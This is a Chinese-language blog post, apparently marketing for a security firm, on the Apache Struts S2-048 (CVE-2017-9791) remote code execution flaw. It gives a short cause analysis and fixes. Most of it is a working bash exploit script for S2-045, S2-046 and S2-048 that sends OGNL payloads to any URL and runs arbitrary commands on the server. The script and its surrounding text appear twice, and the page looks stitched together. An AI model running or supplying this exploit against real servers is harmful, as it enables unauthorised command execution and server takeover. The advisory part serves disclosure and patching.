Apache Struts 2.3.x的strus1插件存在远程代码执行的高危漏洞,漏洞编号为 CVE-2017-9791(S2-048)。在Struts 2.3.x 版本上的Showcase 插件ActionMessage 类中,通过构建不可信的输入可实现远程命令攻击。漏洞成因是当ActionMessage接 收客户可控的参数数据时,由于后续数据拼接传递后处理不当导致任意代码执行。 如何判断struts2开发的网站存在漏洞呢? 点击查看
攻击者可以构造恶意的字段值通过Struts2的Struts1的插件,远程执行代码,大概意 思就是说“Struts 2.3.x系列中的Struts 1插件示例中的Struts Showcase应用程序 中可以执行系统命令。Sine安全公司是一家专注于:服务器安全、网站安全、网站安 全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。 先分析一下这个漏洞,由于是struts2-showcase应用里面导致的,按照 Apache官方 网站文档里的写法才会导致这种问题。

Struts2 (S2-048)POC: #! /bin/bash eses(){ echo -e " " echo -e " struts2-045 046 048 Exploit Poc BySINESAFE " echo -e " " echo -e " [1]Struts2-045 " echo -e " [2]Struts2-046 " echo -e " [3]Struts2-048 " echo -e " > \c " read st2045 case $st2045 in 1) echo -e " > \c " read url echo -e " > \c " read cmd shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; 2) echo -e " > \c " read url1 echo -e " > \c " read cmd2 shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd2"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url1" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; 3) echo -e " > \c " read url echo -e " > \c " read cmd3 shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd3').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; esac } eses 上面的漏洞POC中我们可以看出,这个漏洞本质上是在Apache struts2-struts1- plugin这个jar包里,这个库是用将Apache struts1的action封装成Apache struts2 的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中 Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式 ,通过调用getText的输入内容,插入恶意的攻击参数,导致该漏洞可以执行Linux系 统命令,并被黑客所利用直接获取管理员权限。Sine安全公司是一家专注于:服务器 安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安 全服务提供商。
以下分析基于struts2的官方示例struts2-showcase war包。首先Struts1Action的 execute方法代码如下,从红框中信息可以看出其实质是调用 SaveGangsterAction.execute方法,然后再调用getText(msg.getKey()….)
S2-048修复方案 一、升级Apache Struts到2.5.10.1最新版本。 二、避免使用Apache struts2-struts1-plugin这个插件。非必要的情况下可以将 Apache struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中直接删 除。如果使用该插件时避免使用拼接的方式将原始消息直接传递给ActionMessage。
如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.
https://ZhouSa.com 攻击者可以构造恶意的字段值通过Struts2的Struts1的插件,远程执行代码,大概意 思就是说“Struts 2.3.x系列中的Struts 1插件示例中的Struts Showcase应用程序 中可以执行系统命令。Sine安全公司是一家专注于:服务器安全、网站安全、网站安 全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安全服务提供商。 先分析一下这个漏洞,由于是struts2-showcase应用里面导致的,按照 Apache官方 网站文档里的写法才会导致这种问题。

Struts2 (S2-048)POC: #! /bin/bash eses(){ echo -e " " echo -e " struts2-045 046 048 Exploit Poc BySINESAFE " echo -e " " echo -e " [1]Struts2-045 " echo -e " [2]Struts2-046 " echo -e " [3]Struts2-048 " echo -e " > \c " read st2045 case $st2045 in 1) echo -e " > \c " read url echo -e " > \c " read cmd shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd ').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; 2) echo -e " > \c " read url1 echo -e " > \c " read cmd2 shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"$cmd2"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url1" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; 3) echo -e " > \c " read url echo -e " > \c " read cmd3 shift shift boundary="---------------------------735323031399963166993862150" content_type="multipart/form-data; boundary=$boundary" payload=$(echo "%{(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='$cmd3').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}") printf -- "--$boundary\r\nContent-Disposition: form-data; name=\"foo\"; filename=\"%s\0b\"\r\nContent-Type: text/plain\r\n\r\nx\r\n--$boundary--\r\n\r\n" "$payload" | curl "$url" -H "Content-Type: $content_type" -H "Expect: " -H "Connection: close" --data-binary @- $@ ;; esac } eses 上面的漏洞POC中我们可以看出,这个漏洞本质上是在Apache struts2-struts1- plugin这个jar包里,这个库是用将Apache struts1的action封装成Apache struts2 的action以便在strut2上使用。本质原因还是在struts2-struts1-plugin包中 Struts1Action.java中execute函数调用了getText函数,这个函数会执行ognl表达式 ,通过调用getText的输入内容,插入恶意的攻击参数,导致该漏洞可以执行Linux系 统命令,并被黑客所利用直接获取管理员权限。Sine安全公司是一家专注于:服务器 安全、网站安全、网站安全检测、网站漏洞修复,渗透测试,安全服务于一体的网络安 全服务提供商。


如果对Struts2 漏洞修复不懂的话,建议找专业的网站安全公司来解决,国内也就Sinesafe和绿盟等安全公司比较专业.
还没有评论,来说两句吧...